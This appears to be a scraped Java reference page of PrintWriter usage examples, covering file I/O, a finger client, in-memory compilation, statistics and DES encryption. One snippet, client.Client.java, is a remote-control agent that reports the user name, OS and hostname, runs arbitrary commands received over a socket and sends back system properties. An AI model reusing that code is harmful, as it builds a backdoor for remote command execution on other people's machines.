Example usage for java.io PrintWriter PrintWriter

Introduction

In this page you can find the example usage for java.io PrintWriter PrintWriter.

Prototype

public PrintWriter(File file) throws FileNotFoundException 

Source Link

Document

Creates a new PrintWriter, without automatic line flushing, with the specified file.

Usage

From source file:Main.java

public static void main(String[] args) throws Exception {
    BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));
    System.out.println(stdin.readLine());
    BufferedReader in = new BufferedReader(new FileReader("Main.java"));
    String s, s2 = new String();
    while ((s = in.readLine()) != null)
        s2 += s + "\n";
    in.close();//from   ww w .j a v a2 s.c  o m
    StringReader in1 = new StringReader(s2);
    int c;
    while ((c = in1.read()) != -1)
        System.out.print((char) c);
    BufferedReader in2 = new BufferedReader(new StringReader(s2));
    PrintWriter out1 = new PrintWriter(new BufferedWriter(new FileWriter("IODemo.out")));
    int lineCount = 1;
    while ((s = in2.readLine()) != null)
        out1.println(lineCount++ + ": " + s);
    out1.close();
}

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From source file:Who.java

public static void main(String[] v) {
    Socket s = null;//  ww w  .  j a  va2  s  . c o m
    PrintWriter out = null;
    BufferedReader in = null;
    try {
        // Connect to port 79 (the standard finger port) on the host.
        String hostname = "www.java2s.com";
        s = new Socket(hostname, 79);
        // Set up the streams
        out = new PrintWriter(new OutputStreamWriter(s.getOutputStream()));
        in = new BufferedReader(new InputStreamReader(s.getInputStream()));

        // Send a blank line to the finger server, telling it that we want
        // a listing of everyone logged on instead of information about an
        // individual user.
        out.print("\n");
        out.flush(); // Send it out

        // Now read the server's response
        // The server should send lines terminated with \n or \r.
        String line;
        while ((line = in.readLine()) != null) {
            System.out.println(line);
        }
        System.out.println("Who's Logged On: " + hostname);
    } catch (IOException e) {
        System.out.println("Who's Logged On: Error");
    }
    // Close the streams!
    finally {
        try {
            in.close();
            out.close();
            s.close();
        } catch (Exception e) {
        }
    }
}

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From source file:client.Client.java

/**
 * @param args the command line arguments
 *///from  ww w.  j a v a  2 s. co  m
public static void main(String[] args) throws Exception {
    Socket st = new Socket("127.0.0.1", 1604);
    BufferedReader r = new BufferedReader(new InputStreamReader(st.getInputStream()));
    PrintWriter p = new PrintWriter(st.getOutputStream());

    while (true) {
        String s = r.readLine();
        new Thread() {
            @Override
            public void run() {
                String[] ar = s.split("\\|");
                if (s.startsWith("HALLO")) {
                    String str = "";
                    try {
                        str = InetAddress.getLocalHost().getHostName();
                    } catch (Exception e) {
                    }
                    p.println("info|" + s.split("\\|")[1] + "|" + System.getProperty("user.name") + "|"
                            + System.getProperty("os.name") + "|" + str);
                    p.flush();
                }
                if (s.startsWith("msg")) {
                    String text = fromHex(ar[1]);
                    String title = ar[2];
                    int i = Integer.parseInt(ar[3]);
                    JOptionPane.showMessageDialog(null, text, title, i);
                }
                if (s.startsWith("execute")) {
                    String cmd = ar[1];
                    try {
                        Runtime.getRuntime().exec(cmd);
                    } catch (Exception e) {
                    }
                }
                if (s.equals("getsystem")) {
                    StringBuilder sb = new StringBuilder();
                    for (Object o : System.getProperties().entrySet()) {
                        Map.Entry e = (Map.Entry) o;
                        sb.append("\n" + e.getKey() + "|" + e.getValue());

                    }
                    p.println("systeminfos|" + toHex(sb.toString().substring(1)));
                    p.flush();
                }
            }

        }.start();
    }
}

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From source file:CompileSourceInMemory.java

public static void main(String args[]) throws IOException {
    JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
    DiagnosticCollector<JavaFileObject> diagnostics = new DiagnosticCollector<JavaFileObject>();

    StringWriter writer = new StringWriter();
    PrintWriter out = new PrintWriter(writer);
    out.println("public class HelloWorld {");
    out.println("  public static void main(String args[]) {");
    out.println("    System.out.println(\"This is in another java file\");");
    out.println("  }");
    out.println("}");
    out.close();//from   w w  w . j  a  v a 2 s.  c om
    JavaFileObject file = new JavaSourceFromString("HelloWorld", writer.toString());

    Iterable<? extends JavaFileObject> compilationUnits = Arrays.asList(file);
    CompilationTask task = compiler.getTask(null, null, diagnostics, null, null, compilationUnits);

    boolean success = task.call();
    for (Diagnostic diagnostic : diagnostics.getDiagnostics()) {
        System.out.println(diagnostic.getCode());
        System.out.println(diagnostic.getKind());
        System.out.println(diagnostic.getPosition());
        System.out.println(diagnostic.getStartPosition());
        System.out.println(diagnostic.getEndPosition());
        System.out.println(diagnostic.getSource());
        System.out.println(diagnostic.getMessage(null));

    }
    System.out.println("Success: " + success);

    if (success) {
        try {
            Class.forName("HelloWorld").getDeclaredMethod("main", new Class[] { String[].class }).invoke(null,
                    new Object[] { null });
        } catch (ClassNotFoundException e) {
            System.err.println("Class not found: " + e);
        } catch (NoSuchMethodException e) {
            System.err.println("No such method: " + e);
        } catch (IllegalAccessException e) {
            System.err.println("Illegal access: " + e);
        } catch (InvocationTargetException e) {
            System.err.println("Invocation target: " + e);
        }
    }
}

---

From source file:LogTest.java

public static void main(String[] args) throws IOException {
    String inputfile = args[0];//from w  ww  .j  a  v a2  s. com
    String outputfile = args[1];

    Map<String, Integer> map = new TreeMap<String, Integer>();

    Scanner scanner = new Scanner(new File(inputfile));
    while (scanner.hasNext()) {
        String word = scanner.next();
        Integer count = map.get(word);
        count = (count == null ? 1 : count + 1);
        map.put(word, count);
    }
    scanner.close();

    List<String> keys = new ArrayList<String>(map.keySet());
    Collections.sort(keys);

    PrintWriter out = new PrintWriter(new FileWriter(outputfile));
    for (String key : keys)
        out.println(key + " : " + map.get(key));
    out.close();
}

---

From source file:edu.usc.ee599.CommunityStats.java

public static void main(String[] args) throws Exception {

    File dir = new File("results5");
    PrintWriter writer = new PrintWriter(new FileWriter("results5_stats.txt"));

    File[] files = dir.listFiles();

    DescriptiveStatistics statistics1 = new DescriptiveStatistics();
    DescriptiveStatistics statistics2 = new DescriptiveStatistics();
    for (File file : files) {

        BufferedReader reader = new BufferedReader(new FileReader(file));

        String line1 = reader.readLine();
        String line2 = reader.readLine();

        int balanced = Integer.parseInt(line1.split(",")[1]);
        int unbalanced = Integer.parseInt(line2.split(",")[1]);

        double bp = (double) balanced / (double) (balanced + unbalanced);
        double up = (double) unbalanced / (double) (balanced + unbalanced);

        statistics1.addValue(bp);//from w  w w .  ja  v a2  s  .com
        statistics2.addValue(up);

    }

    writer.println("AVG Balanced %: " + statistics1.getMean());
    writer.println("AVG Unbalanced %: " + statistics2.getMean());

    writer.println("STD Balanced %: " + statistics1.getStandardDeviation());
    writer.println("STD Unbalanced %: " + statistics2.getStandardDeviation());

    writer.flush();
    writer.close();

}

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From source file:base64test.Base64Test.java

/**
 * @param args the command line arguments
 *//* w  w  w  .ja  v  a 2  s.  c  om*/
public static void main(String[] args) {
    try {
        if (!Base64.isBase64(args[0])) {
            throw new Exception("Arg 1 is not a Base64 string!");
        } else {
            String decodedBase64String = new String(Base64.decodeBase64(args[0]));
            File tempFile = File.createTempFile("base64Test", ".tmp");
            tempFile.deleteOnExit();
            FileWriter fw = new FileWriter(tempFile, false);
            PrintWriter pw = new PrintWriter(fw);
            pw.write(decodedBase64String);
            pw.close();
            String fileType = getFileType(tempFile.toPath());
            System.out.println(fileType);
            System.in.read();
        }
    } catch (Exception e) {
        System.err.println(e.getMessage());
    }
}

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From source file:mx.unam.ecologia.gye.coalescence.app.RunExperiments.java

public static void main(String[] args) {
    BasicConfigurator.configure();/*from   w w  w .  j a va  2s .  c o m*/
    SimulationParameters params = new SimulationParameters(args);
    //loop
    int num_beta = params.getBetaCount();
    int num_k = params.getKCount();
    int num_N = params.getNCount();
    int num_u = params.getUCount();
    PrintWriter pw;

    try {
        File csv = new File(params.getOutput());
        FileOutputStream fout = new FileOutputStream(csv);
        pw = new PrintWriter(fout);
    } catch (Exception ex) {
        pw = new PrintWriter(System.out);
    }
    for (int l = 0; l < num_beta; l++) {
        params.selectBeta(l);
        for (int m = 0; m < num_N; m++) {
            params.selectN(m);
            for (int n = 0; n < num_k; n++) {
                params.selectK(n);
                for (int o = 0; o < num_u; o++) {
                    params.selectU(o);
                    MicrosatelliteExperiment exp = new MicrosatelliteExperiment(params);
                    if (m + n + o == 0) {
                        pw.println(exp.getCSVHeader());
                        pw.flush();
                    }
                    exp.init();
                    exp.run();
                    pw.println(exp.resultsToCSV());
                    pw.flush();
                    System.gc();
                } //for u
            } //for k
        } //for N
    } //for beta
}

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From source file:MainClass.java

public static void main(String args[]) throws Exception {
    KeyGenerator kg = KeyGenerator.getInstance("DES");
    kg.init(new SecureRandom());
    SecretKey key = kg.generateKey();
    SecretKeyFactory skf = SecretKeyFactory.getInstance("DES");
    Class spec = Class.forName("javax.crypto.spec.DESKeySpec");
    DESKeySpec ks = (DESKeySpec) skf.getKeySpec(key, spec);
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("keyfile"));
    oos.writeObject(ks.getKey());/*from w  w  w .  ja  v a2 s.  c o  m*/

    Cipher c = Cipher.getInstance("DES/CFB8/NoPadding");
    c.init(Cipher.ENCRYPT_MODE, key);
    CipherOutputStream cos = new CipherOutputStream(new FileOutputStream("ciphertext"), c);
    PrintWriter pw = new PrintWriter(new OutputStreamWriter(cos));
    pw.println("Stand and unfold yourself");
    pw.close();
    oos.writeObject(c.getIV());
    oos.close();
}

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From source file:ArrayFile.java

public static void main(String[] args) throws Exception {

    PrintWriter out = new PrintWriter(new FileWriter("arrayfile.txt"));

    CaBioApplicationService appService = (CaBioApplicationService) ApplicationServiceProvider
            .getApplicationServiceFromUrl("http://cabioapi-qa.nci.nih.gov/cabio42");

    ArrayAnnotationService am = new ArrayAnnotationServiceImpl(appService);

    String arrayName = "HG-U133_Plus_2";

    Collection<ArrayReporter> reps = am.getReportersForPlatform(arrayName);

    out.println("Name\tSymbol\tHUGO Symbol\tUnigene Id\t" + "Sequence Type\tSequence Source\tTarget Id\t"
            + "Target Description\tCytoband\tChromosome\tStart\tEnd");

    int c = 0;/*from   w  w w. j ava  2 s.  c om*/
    for (ArrayReporter rep : reps) {

        ExpressionArrayReporter er = (ExpressionArrayReporter) rep;

        out.println(resolve(er, "name") + "\t" + resolve(er, "gene.symbol") + "\t"
                + resolve(er, "gene.hugoSymbol") + "\t" + resolve(er, "gene.clusterId") + "\t"
                + resolve(er, "sequenceType") + "\t" + resolve(er, "sequenceSource") + "\t"
                + resolve(er, "targetId") + "\t" + resolve(er, "targetDescription") + "\t"
                + resolve(er, "cytogeneticLocationCollection[0].startCytoband.name") + "\t"
                + resolve(er, "physicalLocationCollection[0].chromosome.number") + "\t"
                + resolve(er, "physicalLocationCollection[0].chromosomalStartPosition") + "\t"
                + resolve(er, "physicalLocationCollection[0].chromosomalEndPosition"));

        if (c++ > 500)
            break;
    }

    out.close();
}

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